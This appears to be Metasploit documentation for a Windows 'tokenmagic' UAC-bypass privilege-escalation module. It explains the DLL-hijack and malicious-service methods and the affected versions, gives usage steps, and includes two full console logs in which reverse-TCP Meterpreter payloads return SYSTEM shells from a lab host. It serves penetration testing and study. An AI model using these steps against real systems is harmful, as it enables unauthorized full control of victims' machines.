h00die
263 lines
10 KiB
Markdown
263 lines
10 KiB
Markdown
## Vulnerable Application
|
|
This module exploits a UAC bypass in windows that allows the attacker to obtain
|
|
remote code execution by leveraged a privileged file write. From the [PoC](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/UAC-TokenMagic.ps1):
|
|
|
|
>Essentially we duplicate the token of an elevated process, lower it's mandatory
|
|
integrity level, use it to create a new restricted token, impersonate it and
|
|
use the Secondary Logon service to spawn a new process with High IL. Like
|
|
playing hide-and-go-seek with tokens
|
|
|
|
The module exploits the high IL gained from the "token magic" by either starting a malicious service or by performing a DLL hijack
|
|
on a known DLL in `system32`.
|
|
|
|
### Installation And Setup
|
|
Windows 10 versions 1803 is vulnerable out of the box. Token Magic works on Windows 7sp1, 8, 8,1 and Windows 10 instances up to 1803. The DLL
|
|
hijacking method in this module relies on a DLL that is only usable in Windows 1703 - 1803 and will not work on other
|
|
versions. Also note the DLL method uses a trigger that can take up to ten minutes to return a shell. The technique
|
|
may work on Windows 7 sp0, but loading powershell appears to crash the session. You might be able to upload and run
|
|
the powershell script manually after some edits to accomplish access to a Windows 7 sp0 target.
|
|
|
|
## Verification Steps
|
|
1. Start msfconsole
|
|
2. Get a Meterpreter session
|
|
3. Do: `use exploit/windows/local/tokenmagic`
|
|
4. Set the `METHOD` of exploitation, either `DLL` or `SERVICE`
|
|
5. Set the `LHOST`, `SESSION` and `PAYLOAD` options
|
|
6. Do: `run`
|
|
7. You should get a shell, the exploitation process should be fairly instantaneous
|
|
|
|
## Options
|
|
**METHOD**
|
|
Select between DLL hijacking and service exploitation
|
|
* DLL mode: Using the elevated privileges from token magic the module will write a malicious file to `c:\windows\system32\windowscoredeviceinfo.dll`, a temporary host process is spawned and a DLL trigger is injected into the process to call the `usoclient`. When the `usoclient` EXE runs it loads the the malicious DLL `windowscoredeviceinfo.dll` with `SYSTEM` level privileges.
|
|
* SERVICE mode: Using the elevated privileges from token magic the module, create a malicious service, and then start it with `SYSTEM` level privileges
|
|
|
|
**SERVICE_FILENAME**
|
|
Filename for Service Payload (Random by default).
|
|
|
|
**SERVICE_NAME**
|
|
Service Name to use (Random by default).
|
|
|
|
**SESSION**
|
|
The session to run this module on.
|
|
|
|
**WRITABLE_DIR**
|
|
Directory to write file to (`%TEMP%` by default).
|
|
|
|
## Scenarios
|
|
|
|
### Tested on Windows 10 x64 1803 (Build 17134) via DLL Hijacking
|
|
```
|
|
msf6 > use multi/handler
|
|
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
|
|
msf6 exploit(multi/handler) > set lhost 172.16.199.1
|
|
lhost => 172.16.199.1
|
|
emsf6 exploit(multi/handler) > options
|
|
|
|
Module options (exploit/multi/handler):
|
|
|
|
Name Current Setting Required Description
|
|
---- --------------- -------- -----------
|
|
|
|
|
|
Payload options (windows/x64/meterpreter/reverse_tcp):
|
|
|
|
Name Current Setting Required Description
|
|
---- --------------- -------- -----------
|
|
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
|
LHOST 172.16.199.1 yes The listen address (an interface may be specified)
|
|
LPORT 4444 yes The listen port
|
|
|
|
|
|
Exploit target:
|
|
|
|
Id Name
|
|
-- ----
|
|
0 Wildcard Target
|
|
|
|
|
|
msf6 exploit(multi/handler) > run
|
|
|
|
[*] Started reverse TCP handler on 172.16.199.1:4444
|
|
[*] Sending stage (200262 bytes) to 172.16.199.135
|
|
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.135:49941) at 2021-05-14 12:38:30 -0400
|
|
|
|
meterpreter > bg
|
|
[*] Backgrounding session 1...
|
|
msf6 exploit(multi/handler) > use windows/local/tokenmagic
|
|
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
|
|
msf6 exploit(windows/local/tokenmagic) > set lhost 172.16.199.1
|
|
lhost => 172.16.199.1
|
|
msf6 exploit(windows/local/tokenmagic) > set lport 4443
|
|
lport => 4443
|
|
msf6 exploit(windows/local/tokenmagic) > set session 1
|
|
session => 1
|
|
msf6 exploit(windows/local/tokenmagic) > set method DLL
|
|
method => DLL
|
|
msf6 exploit(windows/local/tokenmagic) > options
|
|
|
|
Module options (exploit/windows/local/tokenmagic):
|
|
|
|
Name Current Setting Required Description
|
|
---- --------------- -------- -----------
|
|
METHOD DLL yes SERVICE or DLL, please select which attack method you would like to use (SERVICE by default).
|
|
Note that the System Orchestrator service which loads the overwritten DLL when using the DLL method can take up to 10
|
|
minutes to trigger (Accepted: SERVICE, DLL)
|
|
SERVICE_FILENAME IfoTziL no Filename for Service Payload (Random by default).
|
|
SERVICE_NAME NTSHIUUVp no Service Name to use (Random by default).
|
|
SESSION 1 yes The session to run this module on.
|
|
WRITABLE_DIR no Directory to write file to (%TEMP% by default).
|
|
|
|
|
|
Payload options (windows/x64/meterpreter/reverse_tcp):
|
|
|
|
Name Current Setting Required Description
|
|
---- --------------- -------- -----------
|
|
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
|
LHOST 172.16.199.1 yes The listen address (an interface may be specified)
|
|
LPORT 4443 yes The listen port
|
|
|
|
|
|
Exploit target:
|
|
|
|
Id Name
|
|
-- ----
|
|
0 Automatic
|
|
|
|
|
|
msf6 exploit(windows/local/tokenmagic) > run
|
|
|
|
[*] Started reverse TCP handler on 172.16.199.1:4443
|
|
[*] Executing automatic check (disable AutoCheck to override)
|
|
[+] The target appears to be vulnerable.
|
|
[*] Checking Target
|
|
[*] Attempting to PrivEsc on DESKTOP-O5RD7G3 via session ID: 1
|
|
[*] Uploading payload to C:\Users\msfuser\AppData\Local\Temp\WindowsCoreDeviceInfo.dll
|
|
[*] Running Exploit on DESKTOP-O5RD7G3
|
|
[*] Executing TokenMagic PowerShell script
|
|
[*] Reflectively injecting exploit DLL into a spare process and triggering the LPE...
|
|
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
|
|
[+] Enjoy the shell!
|
|
[*] Sending stage (200262 bytes) to 172.16.199.135
|
|
[*] Meterpreter session 2 opened (172.16.199.1:4443 -> 172.16.199.135:49803) at 2021-05-14 12:52:58 -0400
|
|
|
|
meterpreter > getuid
|
|
Server username: NT AUTHORITY\SYSTEM
|
|
meterpreter > sysinfo
|
|
Computer : DESKTOP-O5RD7G3
|
|
OS : Windows 10 (10.0 Build 17134).
|
|
Architecture : x64
|
|
System Language : en_US
|
|
Domain : WORKGROUP
|
|
Logged On Users : 3
|
|
Meterpreter : x64/windows
|
|
meterpreter >
|
|
```
|
|
|
|
### Tested on Windows 10 x64 1803 (Build 17134) via service exploitation
|
|
```
|
|
msf6 > use multi/handler
|
|
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
|
|
msf6 exploit(multi/handler) > options
|
|
|
|
Module options (exploit/multi/handler):
|
|
|
|
Name Current Setting Required Description
|
|
---- --------------- -------- -----------
|
|
|
|
|
|
Payload options (windows/x64/meterpreter/reverse_tcp):
|
|
|
|
Name Current Setting Required Description
|
|
---- --------------- -------- -----------
|
|
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
|
LHOST yes The listen address (an interface may be specified)
|
|
LPORT 4444 yes The listen port
|
|
|
|
|
|
Exploit target:
|
|
|
|
Id Name
|
|
-- ----
|
|
0 Wildcard Target
|
|
|
|
|
|
msf6 exploit(multi/handler) > set lhost 172.16.199.1
|
|
lhost => 172.16.199.1
|
|
msf6 exploit(multi/handler) > set lport 4444
|
|
lport => 4444
|
|
msf6 exploit(multi/handler) > run
|
|
|
|
[*] Started reverse TCP handler on 172.16.199.1:4444
|
|
[*] Sending stage (200262 bytes) to 172.16.199.135
|
|
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.135:49874) at 2021-05-14 12:18:40 -0400
|
|
|
|
meterpreter > bg
|
|
[*] Backgrounding session 2...
|
|
msf6 exploit(multi/handler) > use windows/local/tokenmagic
|
|
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
|
|
msf6 exploit(windows/local/tokenmagic) > options
|
|
|
|
Module options (exploit/windows/local/tokenmagic):
|
|
|
|
Name Current Setting Required Description
|
|
---- --------------- -------- -----------
|
|
METHOD SERVICE yes SERVICE or DLL, please select which attack method you would like to use (SERVICE by default).
|
|
Note that the System Orchestrator service which loads the overwritten DLL when using the DLL method can take up to 10
|
|
minutes to trigger (Accepted: SERVICE, DLL)
|
|
SERVICE_FILENAME dbfkhe no Filename for Service Payload (Random by default).
|
|
SERVICE_NAME BNPzhEQL no Service Name to use (Random by default).
|
|
SESSION yes The session to run this module on.
|
|
WRITABLE_DIR no Directory to write file to (%TEMP% by default).
|
|
|
|
|
|
Payload options (windows/x64/meterpreter/reverse_tcp):
|
|
|
|
Name Current Setting Required Description
|
|
---- --------------- -------- -----------
|
|
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
|
LHOST yes The listen address (an interface may be specified)
|
|
LPORT 4444 yes The listen port
|
|
|
|
|
|
Exploit target:
|
|
|
|
Id Name
|
|
-- ----
|
|
0 Automatic
|
|
|
|
|
|
msf6 exploit(windows/local/tokenmagic) > set lhost 172.16.199.1
|
|
lhost => 172.16.199.1
|
|
msf6 exploit(windows/local/tokenmagic) > set lport 4443
|
|
lport => 4443
|
|
msf6 exploit(windows/local/tokenmagic) > set session 2
|
|
session => 2
|
|
msf6 exploit(windows/local/tokenmagic) > run
|
|
|
|
[*] Started reverse TCP handler on 172.16.199.1:4443
|
|
[*] Executing automatic check (disable AutoCheck to override)
|
|
[+] The target appears to be vulnerable.
|
|
[*] Checking Target
|
|
[*] Attempting to PrivEsc on DESKTOP-O5RD7G3 via session ID: 2
|
|
[*] Uploading payload to C:\Users\msfuser\AppData\Local\Temp\dbfkhe.exe
|
|
[*] Running Exploit on DESKTOP-O5RD7G3
|
|
[*] Executing TokenMagic PowerShell script
|
|
[+] Enjoy the shell!
|
|
[*] Sending stage (200262 bytes) to 172.16.199.135
|
|
[+] Deleted C:\Users\msfuser\AppData\Local\Temp\dbfkhe.exe
|
|
[*] Meterpreter session 3 opened (172.16.199.1:4443 -> 172.16.199.135:49876) at 2021-05-14 12:19:24 -0400
|
|
|
|
meterpreter > getuid
|
|
Server username: NT AUTHORITY\SYSTEM
|
|
meterpreter > sysinfo
|
|
Computer : DESKTOP-O5RD7G3
|
|
OS : Windows 10 (10.0 Build 17134).
|
|
Architecture : x64
|
|
System Language : en_US
|
|
Domain : WORKGROUP
|
|
Logged On Users : 3
|
|
Meterpreter : x64/windows
|
|
meterpreter >
|
|
```
|